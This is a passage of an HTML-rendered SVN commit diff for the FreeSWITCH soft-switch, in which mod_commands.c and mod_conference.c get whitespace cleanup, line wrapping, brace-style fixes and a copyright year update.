</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_safe_free(mycmd);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -3991,16 +3990,16 @@
</span><span class="cx"> {
</span><span class="cx">         int len;
</span><span class="cx">         char *mycmd;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(cmd)) {
</span><span class="cx">                 return SWITCH_STATUS_SUCCESS;
</span><span class="cx">         }
</span><del>-        
-        len = strlen(cmd)*2;
</del><ins>+
+        len = strlen(cmd) * 2;
</ins><span class="cx">         mycmd = malloc(len);
</span><del>-        
</del><ins>+
</ins><span class="cx">         stream->write_function(stream, "%s", switch_escape_string(cmd, mycmd, len));
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_safe_free(mycmd);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -4024,14 +4023,12 @@
</span><span class="cx">
</span><span class="cx">                 if (level == SWITCH_LOG_INVALID) {
</span><span class="cx">                         stream->write_function(stream, "-ERR Invalid log level!\n");
</span><del>-                }
-                else if ((tsession = switch_core_session_locate(uuid))) {
</del><ins>+                } else if ((tsession = switch_core_session_locate(uuid))) {
</ins><span class="cx">
</span><span class="cx">                         switch_core_session_set_loglevel(tsession, level);
</span><span class="cx">                         stream->write_function(stream, "+OK\n");
</span><span class="cx">                         switch_core_session_rwunlock(tsession);
</span><del>-                }
-                else {
</del><ins>+                } else {
</ins><span class="cx">                         stream->write_function(stream, "-ERR No Such Channel %s!\n", uuid);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="lines">@@ -4123,7 +4120,8 @@
</span><span class="cx">         SWITCH_ADD_API(commands_api_interface, "reload", "Reload Module", reload_function, UNLOAD_SYNTAX);
</span><span class="cx">         SWITCH_ADD_API(commands_api_interface, "reloadxml", "Reload XML", reload_xml_function, "");
</span><span class="cx">         SWITCH_ADD_API(commands_api_interface, "sched_api", "Schedule an api command", sched_api_function, SCHED_SYNTAX);
</span><del>-        SWITCH_ADD_API(commands_api_interface, "sched_broadcast", "Schedule a broadcast event to a running call", sched_broadcast_function, SCHED_BROADCAST_SYNTAX);
</del><ins>+        SWITCH_ADD_API(commands_api_interface, "sched_broadcast", "Schedule a broadcast event to a running call", sched_broadcast_function,
+                                 SCHED_BROADCAST_SYNTAX);
</ins><span class="cx">         SWITCH_ADD_API(commands_api_interface, "sched_del", "Delete a Scheduled task", sched_del_function, "<task_id>|<group_id>");
</span><span class="cx">         SWITCH_ADD_API(commands_api_interface, "sched_hangup", "Schedule a running call to hangup", sched_hangup_function, SCHED_HANGUP_SYNTAX);
</span><span class="cx">         SWITCH_ADD_API(commands_api_interface, "sched_transfer", "Schedule a transfer for a running call", sched_transfer_function, SCHED_TRANSFER_SYNTAX);
</span><span class="lines">@@ -4204,8 +4202,8 @@
</span><span class="cx">         switch_console_set_complete("add fsctl shutdown restart asap");
</span><span class="cx">         switch_console_set_complete("add fsctl shutdown restart elegant");
</span><span class="cx">         switch_console_set_complete("add fsctl sps");
</span><del>-         switch_console_set_complete("add fsctl sync_clock");
-         switch_console_set_complete("add fsctl flush_db_handles");
</del><ins>+        switch_console_set_complete("add fsctl sync_clock");
+        switch_console_set_complete("add fsctl flush_db_handles");
</ins><span class="cx">         switch_console_set_complete("add nat_map reinit");
</span><span class="cx">         switch_console_set_complete("add nat_map republish");
</span><span class="cx">         switch_console_set_complete("add nat_map status");
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_conferencemod_conferencec"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_conference/mod_conference.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_conference/mod_conference.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_conference/mod_conference.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -42,7 +42,7 @@
</span><span class="cx">
</span><span class="cx"> static const char global_app_name[] = "conference";
</span><span class="cx"> static char *global_cf_name = "conference.conf";
</span><del>-static char *cf_pin_url_param_name ="X-ConfPin=";
</del><ins>+static char *cf_pin_url_param_name = "X-ConfPin=";
</ins><span class="cx"> static char *api_syntax;
</span><span class="cx"> static int EC = 0;
</span><span class="cx">
</span><span class="lines">@@ -406,12 +406,13 @@
</span><span class="cx"> static void launch_conference_thread(conference_obj_t *conference);
</span><span class="cx"> static void launch_conference_video_thread(conference_obj_t *conference);
</span><span class="cx"> static void *SWITCH_THREAD_FUNC conference_loop_input(switch_thread_t *thread, void *obj);
</span><del>-static switch_status_t conference_local_play_file(conference_obj_t *conference, switch_core_session_t *session, char *path, uint32_t leadin, void *buf, uint32_t buflen);
</del><ins>+static switch_status_t conference_local_play_file(conference_obj_t *conference, switch_core_session_t *session, char *path, uint32_t leadin, void *buf,
+                                                                                                 uint32_t buflen);
</ins><span class="cx"> static switch_status_t conference_member_play_file(conference_member_t *member, char *file, uint32_t leadin);
</span><span class="cx"> static switch_status_t conference_member_say(conference_member_t *member, char *text, uint32_t leadin);
</span><span class="cx"> static uint32_t conference_member_stop_file(conference_member_t *member, file_stop_t stop);
</span><span class="cx"> static conference_obj_t *conference_new(char *name, conf_xml_cfg_t cfg, switch_memory_pool_t *pool);
</span><del>-static switch_status_t chat_send(const char *proto, const char *from, const char *to, const char *subject,
</del><ins>+static switch_status_t chat_send(const char *proto, const char *from, const char *to, const char *subject,
</ins><span class="cx">                                                                  const char *body, const char *type, const char *hint);
</span><span class="cx">
</span><span class="cx"> static void launch_conference_record_thread(conference_obj_t *conference, char *path);
</span><span class="lines">@@ -459,13 +460,13 @@
</span><span class="cx">
</span><span class="cx">         if (member->session) {
</span><span class="cx">                 switch_channel_t *channel = switch_core_session_get_channel(member->session);
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (member->verbose_events) {
</span><span class="cx">                         switch_channel_event_set_data(channel, event);
</span><span class="cx">                 } else {
</span><span class="cx">                         switch_channel_event_set_basic_data(channel, event);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         switch_event_add_header(event, SWITCH_STACK_BOTTOM, "Member-ID", "%u", member->id);
</span><span class="lines">@@ -678,7 +679,7 @@
</span><span class="cx">                                 conference_stop_file(conference, FILE_STOP_ASYNC);
</span><span class="cx">                         }
</span><span class="cx">                         if (conference->enter_sound) {
</span><del>-                                conference_play_file(conference, conference->enter_sound, CONF_DEFAULT_LEADIN, switch_core_session_get_channel(member->session),
</del><ins>+                                conference_play_file(conference, conference->enter_sound, CONF_DEFAULT_LEADIN, switch_core_session_get_channel(member->session),
</ins><span class="cx">                                                                          switch_test_flag(conference, CFLAG_WAIT_MOD) ? 0 : 1);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="lines">@@ -701,7 +702,8 @@
</span><span class="cx">                                         if (!switch_test_flag(conference, CFLAG_BRIDGE_TO)) {
</span><span class="cx">                                                 if (conference->alone_sound) {
</span><span class="cx">                                                         conference_stop_file(conference, FILE_STOP_ASYNC);
</span><del>-                                                        conference_play_file(conference, conference->alone_sound, CONF_DEFAULT_LEADIN, switch_core_session_get_channel(member->session), 1);
</del><ins>+                                                        conference_play_file(conference, conference->alone_sound, CONF_DEFAULT_LEADIN,
+                                                                                                 switch_core_session_get_channel(member->session), 1);
</ins><span class="cx">                                                 } else {
</span><span class="cx">                                                         switch_snprintf(msg, sizeof(msg), "You are currently the only person in this conference.");
</span><span class="cx">                                                         conference_member_say(member, msg, CONF_DEFAULT_LEADIN);
</span><span class="lines">@@ -911,7 +913,7 @@
</span><span class="cx">                         req_iframe = 0;
</span><span class="cx">                         goto do_continue;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (conference->floor_holder->id != last_member) {
</span><span class="cx">                         int iframe = 0;
</span><span class="cx"> #if 0
</span><span class="lines">@@ -929,13 +931,13 @@
</span><span class="cx">
</span><span class="cx">                         if (vid_frame->codec->implementation->ianacode == 34) {        /* h.263 */
</span><span class="cx">                                 //iframe = (*((int16_t *) vid_frame->data) >> 12 == 6);
</span><del>-                                iframe = 1;                        
</del><ins>+                                iframe = 1;
</ins><span class="cx">                         } else if (vid_frame->codec->implementation->ianacode == 115) {        /* h.263-1998 */
</span><span class="cx">                                 int y = *((int8_t *) vid_frame->data + 2) & 0xfe;
</span><span class="cx">                                 iframe = (y == 0x80 || y == 0x82);
</span><span class="cx">                         } else if (vid_frame->codec->implementation->ianacode == 99) {        /* h.264 */
</span><span class="cx">                                 iframe = (*((int16_t *) vid_frame->data) >> 5 == 0x11);
</span><del>-                        } else {                /* we need more defs */
</del><ins>+                        } else {                        /* we need more defs */
</ins><span class="cx">                                 iframe = 1;
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="lines">@@ -943,7 +945,7 @@
</span><span class="cx">                                 goto do_continue;
</span><span class="cx">                         }
</span><span class="cx">
</span><del>-                        req_iframe = 0;                        
</del><ins>+                        req_iframe = 0;
</ins><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 last_member = conference->floor_holder->id;
</span><span class="lines">@@ -958,8 +960,8 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-        do_continue:
-                
</del><ins>+         do_continue:
+
</ins><span class="cx">                 switch_mutex_unlock(conference->member_mutex);
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -1000,13 +1002,13 @@
</span><span class="cx">         switch_mutex_unlock(globals.hash_mutex);
</span><span class="cx">
</span><span class="cx">         conference->is_recording = 0;
</span><del>-        
</del><ins>+
</ins><span class="cx">         while (globals.running && !switch_test_flag(conference, CFLAG_DESTRUCT)) {
</span><span class="cx">                 switch_size_t file_sample_len = samples;
</span><span class="cx">                 switch_size_t file_data_len = samples * 2;
</span><span class="cx">                 int has_file_data = 0, members_with_video = 0;
</span><span class="cx">
</span><del>-                 if (conference->perpetual_sound && !conference->async_fnode) {
</del><ins>+                if (conference->perpetual_sound && !conference->async_fnode) {
</ins><span class="cx">                         conference_play_file(conference, conference->perpetual_sound, CONF_DEFAULT_LEADIN, NULL, 1);
</span><span class="cx">                 } else if (conference->moh_sound && (conference->count == 1 || switch_test_flag(conference, CFLAG_WAIT_MOD)) && !conference->async_fnode) {
</span><span class="cx">                         conference_play_file(conference, conference->moh_sound, CONF_DEFAULT_LEADIN, NULL, 1);
</span><span class="lines">@@ -1044,12 +1046,12 @@
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 /* Start recording if there's more than one participant. */
</span><del>-                if (ready > 1 && conference->auto_record && !conference->is_recording){
</del><ins>+                if (ready > 1 && conference->auto_record && !conference->is_recording) {
</ins><span class="cx">                         conference->is_recording = 1;
</span><span class="cx">                         imember = conference->members;
</span><span class="cx">                         if (imember) {
</span><span class="cx">                                 switch_channel_t *channel = switch_core_session_get_channel(imember->session);
</span><del>-                                char *rfile = switch_channel_expand_variables(channel, conference->auto_record);
</del><ins>+                                char *rfile = switch_channel_expand_variables(channel, conference->auto_record);
</ins><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Auto recording file: %s\n", rfile);
</span><span class="cx">                                 launch_conference_record_thread(conference, rfile);
</span><span class="cx">                                 if (rfile != conference->auto_record) {
</span><span class="lines">@@ -1186,7 +1188,7 @@
</span><span class="cx">                          check if our audio is involved and if so, subtract it from the sample so we don't hear ourselves.
</span><span class="cx">                          Since main frame was 32 bit int, we did not lose any detail, now that we have to convert to 16 bit we can
</span><span class="cx">                          cut it off at the min and max range if need be and write the frame to the output buffer.
</span><del>-                        */
</del><ins>+                         */
</ins><span class="cx">                         for (omember = conference->members; omember; omember = omember->next) {
</span><span class="cx">                                 switch_size_t ok = 1;
</span><span class="cx">
</span><span class="lines">@@ -1194,7 +1196,7 @@
</span><span class="cx">                                         continue;
</span><span class="cx">                                 }
</span><span class="cx">
</span><del>-                                if (!switch_test_flag(omember, MFLAG_CAN_HEAR) && !switch_test_flag(omember, MFLAG_WASTE_BANDWIDTH)
</del><ins>+                                if (!switch_test_flag(omember, MFLAG_CAN_HEAR) && !switch_test_flag(omember, MFLAG_WASTE_BANDWIDTH)
</ins><span class="cx">                                         && !switch_test_flag(conference, CFLAG_WASTE_BANDWIDTH)) {
</span><span class="cx">                                         continue;
</span><span class="cx">                                 }
</span><span class="lines">@@ -1206,10 +1208,10 @@
</span><span class="cx">                                         if (switch_test_flag(omember, MFLAG_HAS_AUDIO) && x <= omember->read / 2) {
</span><span class="cx">                                                 z -= (int32_t) bptr[x];
</span><span class="cx">                                         }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                         /* when there are relationships, we have to do more work by scouring all the members to see if there are any
</span><span class="cx">                                          reasons why we should not be hearing a paticular member, and if not, delete their samples as well.
</span><del>-                                        */
</del><ins>+                                         */
</ins><span class="cx">                                         if (conference->relationship_total) {
</span><span class="cx">                                                 for (imember = conference->members; imember; imember = imember->next) {
</span><span class="cx">                                                         conference_relationship_t *rel;
</span><span class="lines">@@ -1228,15 +1230,15 @@
</span><span class="cx">                                                 }
</span><span class="cx">                                         }
</span><span class="cx">
</span><del>-                                        /* Now we can convert to 16 bit.*/
</del><ins>+                                        /* Now we can convert to 16 bit. */
</ins><span class="cx">                                         switch_normalize_to_16bit(z);
</span><span class="cx">                                         write_frame[x] = (int16_t) z;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 switch_mutex_lock(omember->audio_out_mutex);
</span><span class="cx">                                 ok = switch_buffer_write(omember->mux_buffer, write_frame, bytes);
</span><span class="cx">                                 switch_mutex_unlock(omember->audio_out_mutex);
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (!ok) {
</span><span class="cx">                                         goto end;
</span><span class="cx">                                 }
</span><span class="lines">@@ -1270,7 +1272,7 @@
</span><span class="cx">                 switch_mutex_unlock(conference->mutex);
</span><span class="cx">         }
</span><span class="cx">         /* Rinse ... Repeat */
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">
</span><span class="cx">         if (switch_event_create(&event, SWITCH_EVENT_PRESENCE_IN) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "proto", CONF_CHAT_PROTO);
</span><span class="lines">@@ -1427,7 +1429,7 @@
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 switch_set_flag_locked(member->conference, CFLAG_LOCKED);
</span><del>-                if (test_eflag(member->conference, EFLAG_LOCK) &&
</del><ins>+                if (test_eflag(member->conference, EFLAG_LOCK) &&
</ins><span class="cx">                         switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, CONF_EVENT_MAINT) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         conference_add_event_data(member->conference, event);
</span><span class="cx">                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Action", "lock");
</span><span class="lines">@@ -1439,7 +1441,7 @@
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 switch_clear_flag_locked(member->conference, CFLAG_LOCKED);
</span><del>-                if (test_eflag(member->conference, EFLAG_UNLOCK) &&
</del><ins>+                if (test_eflag(member->conference, EFLAG_UNLOCK) &&
</ins><span class="cx">                         switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, CONF_EVENT_MAINT) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         conference_add_event_data(member->conference, event);
</span><span class="cx">                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Action", "unlock");
</span><span class="lines">@@ -1715,7 +1717,7 @@
</span><span class="cx">         int argc;
</span><span class="cx">         char *mydata = NULL;
</span><span class="cx">         switch_event_t *event;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (test_eflag(member->conference, EFLAG_DTMF) && switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, CONF_EVENT_MAINT) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 conference_add_event_member_data(member, event);
</span><span class="cx">                 switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Action", "transfer");
</span><span class="lines">@@ -1723,7 +1725,7 @@
</span><span class="cx">                 switch_event_fire(&event);
</span><span class="cx">         }
</span><span class="cx">         switch_clear_flag_locked(member, MFLAG_RUNNING);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((mydata = switch_core_session_strdup(member->session, action->data))) {
</span><span class="cx">                 if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
</span><span class="cx">                         if (argc > 0) {
</span><span class="lines">@@ -1735,7 +1737,7 @@
</span><span class="cx">                         if (argc > 2) {
</span><span class="cx">                                 context = argv[2];
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                 } else {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(member->session), SWITCH_LOG_ERROR, "Empty transfer string [%s]\n", (char *) action->data);
</span><span class="cx">                         goto done;
</span><span class="lines">@@ -1745,11 +1747,10 @@
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(member->session), SWITCH_LOG_DEBUG, "Transfering to: %s, %s, %s\n", exten, dialplan, context);
</span><del>-        
-        switch_ivr_session_transfer(member->session,
-                                                                exten, dialplan, context);
-                                                                
-done:
</del><ins>+
+        switch_ivr_session_transfer(member->session, exten, dialplan, context);
+
+ done:
</ins><span class="cx">         return;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -1763,14 +1764,14 @@
</span><span class="cx">         char *mydata = NULL;
</span><span class="cx">         switch_event_t *event = NULL;
</span><span class="cx">         switch_channel_t *channel = NULL;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (test_eflag(member->conference, EFLAG_DTMF) && switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, CONF_EVENT_MAINT) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 conference_add_event_member_data(member, event);
</span><span class="cx">                 switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Action", "execute_app");
</span><span class="cx">                 switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Application", action->data);
</span><span class="cx">                 switch_event_fire(&event);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((mydata = switch_core_session_strdup(member->session, action->data))) {
</span><span class="cx">                 if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
</span><span class="cx">                         if (argc > 0) {
</span><span class="lines">@@ -1779,7 +1780,7 @@
</span><span class="cx">                         if (argc > 1) {
</span><span class="cx">                                 arg = argv[1];
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                 } else {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(member->session), SWITCH_LOG_ERROR, "Empty execute app string [%s]\n", (char *) action->data);
</span><span class="cx">                         goto done;
</span><span class="lines">@@ -1796,13 +1797,13 @@
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(member->session), SWITCH_LOG_DEBUG, "Execute app: %s, %s\n", app, arg);
</span><span class="cx">
</span><span class="cx">         channel = switch_core_session_get_channel(member->session);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_channel_set_app_flag(channel, CF_APP_TAGGED);
</span><span class="cx">         switch_core_session_set_read_codec(member->session, NULL);
</span><span class="cx">         switch_core_session_execute_application(member->session, app, arg);
</span><del>-        switch_core_session_set_read_codec(member->session, &member->read_codec);                                                        
-        switch_channel_clear_app_flag(channel, CF_APP_TAGGED);                                                                                
-done:
</del><ins>+        switch_core_session_set_read_codec(member->session, &member->read_codec);
+        switch_channel_clear_app_flag(channel, CF_APP_TAGGED);
+ done:
</ins><span class="cx">         return;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -1819,7 +1820,7 @@
</span><span class="cx">         switch_status_t status;
</span><span class="cx">         switch_frame_t *read_frame = NULL;
</span><span class="cx">         uint32_t hangover = 40, hangunder = 15, hangover_hits = 0, hangunder_hits = 0, energy_level = 0, diff_level = 400;
</span><del>-        switch_codec_implementation_t read_impl = {0};
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx">         switch_core_session_t *session = member->session;
</span><span class="cx">         switch_assert(member != NULL);
</span><span class="cx">
</span><span class="lines">@@ -1868,7 +1869,7 @@
</span><span class="cx">                                         }
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         goto do_continue;
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="lines">@@ -1897,7 +1898,7 @@
</span><span class="cx">                                 member->score = energy / (samples / divisor);
</span><span class="cx">                         }
</span><span class="cx">
</span><del>-                        member->score_iir = (int)(((1.0 - SCORE_DECAY) * (float)member->score) + (SCORE_DECAY * (float)member->score_iir));
</del><ins>+                        member->score_iir = (int) (((1.0 - SCORE_DECAY) * (float) member->score) + (SCORE_DECAY * (float) member->score_iir));
</ins><span class="cx">
</span><span class="cx">                         if (member->score_iir > SCORE_MAX_IIR) {
</span><span class="cx">                                 member->score_iir = SCORE_MAX_IIR;
</span><span class="lines">@@ -1933,14 +1934,14 @@
</span><span class="cx">                                                         member->conference->floor_holder = member;
</span><span class="cx">                                                 }
</span><span class="cx">                                                 switch_mutex_unlock(member->conference->member_mutex);
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (test_eflag(member->conference, EFLAG_START_TALKING) && switch_test_flag(member, MFLAG_CAN_SPEAK) &&
</span><span class="cx">                                                         switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, CONF_EVENT_MAINT) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                                         conference_add_event_member_data(member, event);
</span><span class="cx">                                                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "Action", "start-talking");
</span><span class="cx">                                                         switch_event_fire(&event);
</span><span class="cx">                                                 }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                                 if (switch_test_flag(member, MFLAG_MUTE_DETECT) && !switch_test_flag(member, MFLAG_CAN_SPEAK)) {
</span><span class="cx">
</span><span class="cx">                                                         if (!zstr(member->conference->mute_detect_sound)) {
</span><span class="lines">@@ -1955,7 +1956,7 @@
</span><span class="cx">                                                         }
</span><span class="cx">
</span><span class="cx">                                                 }
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                         }
</span><span class="cx">                                 }
</span><span class="cx">                         } else {
</span><span class="lines">@@ -1980,12 +1981,12 @@
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 /* skip frames that are not actual media or when we are muted or silent */
</span><del>-                if ((switch_test_flag(member, MFLAG_TALKING) || energy_level == 0) && switch_test_flag(member, MFLAG_CAN_SPEAK) &&
</del><ins>+                if ((switch_test_flag(member, MFLAG_TALKING) || energy_level == 0) && switch_test_flag(member, MFLAG_CAN_SPEAK) &&
</ins><span class="cx">                         !switch_test_flag(member->conference, CFLAG_WAIT_MOD)) {
</span><span class="cx">                         switch_audio_resampler_t *read_resampler = member->read_resampler;
</span><span class="cx">                         void *data;
</span><span class="cx">                         uint32_t datalen;
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (read_resampler) {
</span><span class="cx">                                 int16_t *bptr = (int16_t *) read_frame->data;
</span><span class="cx">                                 int len = (int) read_frame->datalen;
</span><span class="lines">@@ -2019,7 +2020,7 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-        do_continue:
</del><ins>+         do_continue:
</ins><span class="cx">
</span><span class="cx">                 switch_mutex_unlock(member->read_mutex);
</span><span class="cx">         }
</span><span class="lines">@@ -2035,7 +2036,7 @@
</span><span class="cx"> static void member_add_file_data(conference_member_t *member, int16_t *data, switch_size_t file_data_len)
</span><span class="cx"> {
</span><span class="cx">         switch_size_t file_sample_len = file_data_len / 2;
</span><del>-        int16_t file_frame[SWITCH_RECOMMENDED_BUFFER_SIZE/2] = {0};
</del><ins>+        int16_t file_frame[SWITCH_RECOMMENDED_BUFFER_SIZE / 2] = { 0 };
</ins><span class="cx">
</span><span class="cx">         if (!member->fnode) {
</span><span class="cx">                 return;
</span><span class="lines">@@ -2063,7 +2064,7 @@
</span><span class="cx">                 } else {
</span><span class="cx">                         if (member->fnode->type == NODE_TYPE_SPEECH) {
</span><span class="cx">                                 switch_speech_flag_t flags = SWITCH_SPEECH_FLAG_BLOCKING;
</span><del>-                                                
</del><ins>+
</ins><span class="cx">                                 if (switch_core_speech_read_tts(member->fnode->sh, file_frame, &file_data_len, &flags) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         file_sample_len = file_data_len / 2;
</span><span class="cx">                                 } else {
</span><span class="lines">@@ -2077,7 +2078,7 @@
</span><span class="cx">                         if (file_sample_len <= 0) {
</span><span class="cx">                                 switch_event_t *event;
</span><span class="cx">                                 member->fnode->done++;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 if (test_eflag(member->conference, EFLAG_PLAY_FILE) &&
</span><span class="cx">                                         switch_event_create_subclass(&event, SWITCH_EVENT_CUSTOM, CONF_EVENT_MAINT) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         conference_add_event_data(member->conference, event);
</span><span class="lines">@@ -2086,20 +2087,20 @@
</span><span class="cx">                                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "File", member->fnode->file);
</span><span class="cx">                                         switch_event_fire(&event);
</span><span class="cx">                                 }
</span><del>-                        } else {        /* there is file node data to mix into the frame */
</del><ins>+                        } else {                        /* there is file node data to mix into the frame */
</ins><span class="cx">                                 int32_t i, sample;
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 /* Check for output volume adjustments */
</span><span class="cx">                                 if (member->volume_out_level) {
</span><span class="cx">                                         switch_change_sln_volume(file_frame, file_sample_len, member->volume_out_level);
</span><span class="cx">                                 }
</span><del>-                                
-                                for(i = 0; i < file_sample_len; i++) {
</del><ins>+
+                                for (i = 0; i < file_sample_len; i++) {
</ins><span class="cx">                                         sample = data[i] + file_frame[i];
</span><span class="cx">                                         switch_normalize_to_16bit(sample);
</span><span class="cx">                                         data[i] = sample;
</span><span class="cx">                                 }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="lines">@@ -2162,14 +2163,14 @@
</span><span class="cx">         uint32_t low_count, bytes;
</span><span class="cx">         call_list_t *call_list, *cp;
</span><span class="cx">         int restarting = -1;
</span><del>-        switch_codec_implementation_t read_impl = {0};
-        
- top:
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
</ins><span class="cx">
</span><ins>+ top:
+
</ins><span class="cx">         switch_core_session_get_read_impl(member->session, &read_impl);
</span><span class="cx">
</span><span class="cx">         restarting++;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_test_flag(member, MFLAG_RESTART)) {
</span><span class="cx">                 switch_clear_flag(member, MFLAG_RESTART);
</span><span class="cx">                 switch_set_flag_locked(member, MFLAG_FLUSH_BUFFER);
</span><span class="lines">@@ -2215,11 +2216,12 @@
</span><span class="cx">         if (!restarting) {
</span><span class="cx">                 /* Start the input thread */
</span><span class="cx">                 launch_conference_loop_input(member, switch_core_session_get_pool(member->session));
</span><del>-                
</del><ins>+
</ins><span class="cx">                 /* build a digit stream object */
</span><span class="cx">                 if (member->conference->dtmf_parser != NULL
</span><span class="cx">                         && switch_ivr_digit_stream_new(member->conference->dtmf_parser, &member->digit_stream) != SWITCH_STATUS_SUCCESS) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(member->session), SWITCH_LOG_ERROR, "Danger Will Robinson, there is no digit parser stream object\n");
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(member->session), SWITCH_LOG_ERROR,
+                                                         "Danger Will Robinson, there is no digit parser stream object\n");
</ins><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 if ((call_list = switch_channel_get_private(channel, "_conference_autocall_list_"))) {
</span><span class="lines">@@ -2230,7 +2232,7 @@
</span><span class="cx">                         const char *ann = switch_channel_get_variable(channel, "conference_auto_outcall_announce");
</span><span class="cx">                         const char *prefix = switch_channel_get_variable(channel, "conference_auto_outcall_prefix");
</span><span class="cx">                         int to = 60;
</span><del>-                
</del><ins>+
</ins><span class="cx">                         if (ann) {
</span><span class="cx">                                 member->conference->special_announce = switch_core_strdup(member->conference->pool, ann);
</span><span class="cx">                         }
</span><span class="lines">@@ -2311,7 +2313,8 @@
</span><span class="cx">                 if (switch_channel_test_flag(channel, CF_OUTBOUND)) {
</span><span class="cx">                         /* test to see if outbound channel has answered */
</span><span class="cx">                         if (switch_channel_test_flag(channel, CF_ANSWERED) && !switch_test_flag(member->conference, CFLAG_ANSWERED)) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(member->session), SWITCH_LOG_DEBUG, "Outbound conference channel answered, setting CFLAG_ANSWERED\n");
